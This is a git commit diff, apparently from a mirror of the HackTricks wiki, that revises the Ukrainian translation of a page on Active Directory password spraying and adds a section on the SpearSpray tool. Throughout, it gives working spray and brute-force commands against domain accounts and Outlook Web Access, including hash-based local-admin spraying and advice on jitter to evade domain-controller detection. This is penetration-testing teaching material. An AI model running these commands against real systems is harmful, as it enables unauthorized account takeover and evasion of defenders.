mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/active-directory-methodology/pass
This commit is contained in:
parent
8327970e2e
commit
37facc3139
@ -5,16 +5,16 @@
|
|||||||
|
|
||||||
## **Password Spraying**
|
## **Password Spraying**
|
||||||
|
|
||||||
Якщо ви знайшли кілька **дійсних імен користувачів**, ви можете спробувати найпоширеніші **паролі** (майте на увазі політику паролів середовища) з кожним з виявлених користувачів.\
|
Коли ви знайшли кілька **valid usernames**, ви можете спробувати найбільш поширені **common passwords** (з урахуванням password policy середовища) для кожного з виявлених користувачів.\
|
||||||
За **замовчуванням** **мінімальна** **довжина** **пароля** становить **7**.
|
За **default** значенням **minimum** **password** **length** — **7**.
|
||||||
|
|
||||||
Списки поширених імен користувачів також можуть бути корисними: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||||
|
|
||||||
Зверніть увагу, що ви **можете заблокувати деякі облікові записи, якщо спробуєте кілька неправильних паролів** (за замовчуванням більше ніж 10).
|
Зверніть увагу, що ви **could lockout some accounts if you try several wrong passwords** (by default more than 10).
|
||||||
|
|
||||||
### Get password policy
|
### Get password policy
|
||||||
|
|
||||||
Якщо у вас є облікові дані користувача або оболонка як доменний користувач, ви можете **отримати політику паролів за допомогою**:
|
Якщо у вас є user credentials або shell як domain user, ви можете **get the password policy with**:
|
||||||
```bash
|
```bash
|
||||||
# From Linux
|
# From Linux
|
||||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||||
@ -31,16 +31,16 @@ net accounts
|
|||||||
|
|
||||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||||
```
|
```
|
||||||
### Експлуатація з Linux (або всіх)
|
### Exploitation з Linux (або будь-якої ОС)
|
||||||
|
|
||||||
- Використовуючи **crackmapexec:**
|
- За допомогою **crackmapexec:**
|
||||||
```bash
|
```bash
|
||||||
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
||||||
# Local Auth Spray (once you found some local admin pass or hash)
|
# Local Auth Spray (once you found some local admin pass or hash)
|
||||||
## --local-auth flag indicate to only try 1 time per machine
|
## --local-auth flag indicate to only try 1 time per machine
|
||||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||||
```
|
```
|
||||||
- Використовуючи [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
- Використання [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
||||||
```bash
|
```bash
|
||||||
# Password Spraying
|
# Password Spraying
|
||||||
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
|
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
|
||||||
@ -51,16 +51,16 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
|||||||
```bash
|
```bash
|
||||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||||
```
|
```
|
||||||
- Використовуючи [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - НЕ РЕКОМЕНДОВАНО, ІНОДІ НЕ ПРАЦЮЄ
|
- Використання [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - НЕ РЕКОМЕНДУЄТЬСЯ, ІНОДІ НЕ ПРАЦЮЄ
|
||||||
```bash
|
```bash
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||||
```
|
```
|
||||||
- З модулем `scanner/smb/smb_login` **Metasploit**:
|
- За допомогою модуля `scanner/smb/smb_login` з **Metasploit**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
- Використовуючи **rpcclient**:
|
- За допомогою **rpcclient**:
|
||||||
```bash
|
```bash
|
||||||
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
||||||
for u in $(cat users.txt); do
|
for u in $(cat users.txt); do
|
||||||
@ -69,7 +69,7 @@ done
|
|||||||
```
|
```
|
||||||
#### З Windows
|
#### З Windows
|
||||||
|
|
||||||
- З версією [Rubeus](https://github.com/Zer1t0/Rubeus) з модулем брутфорсу:
|
- За допомогою [Rubeus](https://github.com/Zer1t0/Rubeus) версії з модулем brute:
|
||||||
```bash
|
```bash
|
||||||
# with a list of users
|
# with a list of users
|
||||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||||
@ -77,29 +77,94 @@ done
|
|||||||
# check passwords for all users in current domain
|
# check passwords for all users in current domain
|
||||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||||
```
|
```
|
||||||
- З [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Він може за замовчуванням генерувати користувачів з домену та отримувати політику паролів з домену, обмежуючи спроби відповідно до неї):
|
- За допомогою [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (За замовчуванням він може згенерувати користувачів із домену та отримає політику паролів з домену й обмежить кількість спроб відповідно до неї):
|
||||||
```bash
|
```bash
|
||||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||||
```
|
```
|
||||||
- З [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
- За допомогою [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
||||||
```
|
```
|
||||||
Invoke-SprayEmptyPassword
|
Invoke-SprayEmptyPassword
|
||||||
```
|
```
|
||||||
## Брутфорс
|
## Brute Force
|
||||||
```bash
|
```bash
|
||||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||||
```
|
```
|
||||||
|
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
||||||
|
|
||||||
|
Kerberos pre-auth–based spraying знижує шум порівняно з SMB/NTLM/LDAP bind attempts і краще узгоджується з AD lockout policies. SpearSpray поєднує LDAP-driven targeting, pattern engine і policy awareness (domain policy + PSOs + badPwdCount buffer), щоб виконувати spray точно й безпечно. Воно також може позначати скомпрометовані principals у Neo4j для побудови шляхів у BloodHound.
|
||||||
|
|
||||||
|
Ключові ідеї:
|
||||||
|
- LDAP user discovery з підтримкою paging і LDAPS, опційно з використанням кастомних LDAP-фільтрів.
|
||||||
|
- Фільтрація з урахуванням політики блокування домену та PSO, яка залишає налаштовуваний буфер спроб (threshold) і запобігає блокуванню користувачів.
|
||||||
|
- Kerberos pre-auth валідація з використанням швидких gssapi bindings (генерує 4768/4771 на DCs замість 4625).
|
||||||
|
- Генерація паролів на основі шаблонів для кожного користувача з використанням змінних, таких як імена та часові значення, отримані з pwdLastSet кожного користувача.
|
||||||
|
- Контроль пропускної спроможності через потоки (threads), джиттер (jitter) та макс. запитів за секунду.
|
||||||
|
- Опційна інтеграція з Neo4j для позначення owned користувачів для BloodHound.
|
||||||
|
|
||||||
|
Базове використання та виявлення:
|
||||||
|
```bash
|
||||||
|
# List available pattern variables
|
||||||
|
spearspray -l
|
||||||
|
|
||||||
|
# Basic run (LDAP bind over TCP/389)
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||||
|
|
||||||
|
# LDAPS (TCP/636)
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
|
||||||
|
```
|
||||||
|
Таргетинг і контроль шаблонів:
|
||||||
|
```bash
|
||||||
|
# Custom LDAP filter (e.g., target specific OU/attributes)
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
|
||||||
|
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
|
||||||
|
|
||||||
|
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
|
||||||
|
```
|
||||||
|
Контролі прихованості та безпеки:
|
||||||
|
```bash
|
||||||
|
# Control concurrency, add jitter, and cap request rate
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
|
||||||
|
|
||||||
|
# Leave N attempts in reserve before lockout (default threshold: 2)
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
|
||||||
|
```
|
||||||
|
Збагачення Neo4j/BloodHound:
|
||||||
|
```bash
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
|
||||||
|
```
|
||||||
|
Огляд системи патернів (patterns.txt):
|
||||||
|
```text
|
||||||
|
# Example templates consuming per-user attributes and temporal context
|
||||||
|
{name}{separator}{year}{suffix}
|
||||||
|
{month_en}{separator}{short_year}{suffix}
|
||||||
|
{season_en}{separator}{year}{suffix}
|
||||||
|
{samaccountname}
|
||||||
|
{extra}{separator}{year}{suffix}
|
||||||
|
```
|
||||||
|
Available variables include:
|
||||||
|
- {name}, {samaccountname}
|
||||||
|
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||||
|
- Composition helpers and org token: {separator}, {suffix}, {extra}
|
||||||
|
|
||||||
|
Оперативні нотатки:
|
||||||
|
- Переважно опитуйте PDC-emulator з -dc, щоб отримати найбільш авторитетні значення badPwdCount та інформацію, пов'язану з політиками.
|
||||||
|
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
|
||||||
|
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
|
||||||
|
|
||||||
|
> Порада: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
||||||
|
|
||||||
## Outlook Web Access
|
## Outlook Web Access
|
||||||
|
|
||||||
Є кілька інструментів для p**assword spraying outlook**.
|
Існує кілька інструментів для p**assword spraying outlook**.
|
||||||
|
|
||||||
- З [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
||||||
- з [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||||
- З [Ruler](https://github.com/sensepost/ruler) (надійний!)
|
- With [Ruler](https://github.com/sensepost/ruler) (reliable!)
|
||||||
- З [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||||
- З [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||||
|
|
||||||
Щоб використовувати будь-який з цих інструментів, вам потрібен список користувачів і пароль / невеликий список паролів для спрею.
|
Щоб використовувати будь-який із цих інструментів, вам потрібен список користувачів і password / невеликий список passwords для spray.
|
||||||
```bash
|
```bash
|
||||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||||
[x] Failed: larsson:Summer2020
|
[x] Failed: larsson:Summer2020
|
||||||
@ -118,8 +183,13 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
|
|||||||
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
|
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
|
||||||
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
|
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
|
||||||
|
|
||||||
## References
|
## Посилання
|
||||||
|
|
||||||
|
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
|
||||||
|
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
|
||||||
|
- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
|
||||||
|
- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
|
||||||
|
- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
|
||||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
|
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
|
||||||
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
||||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user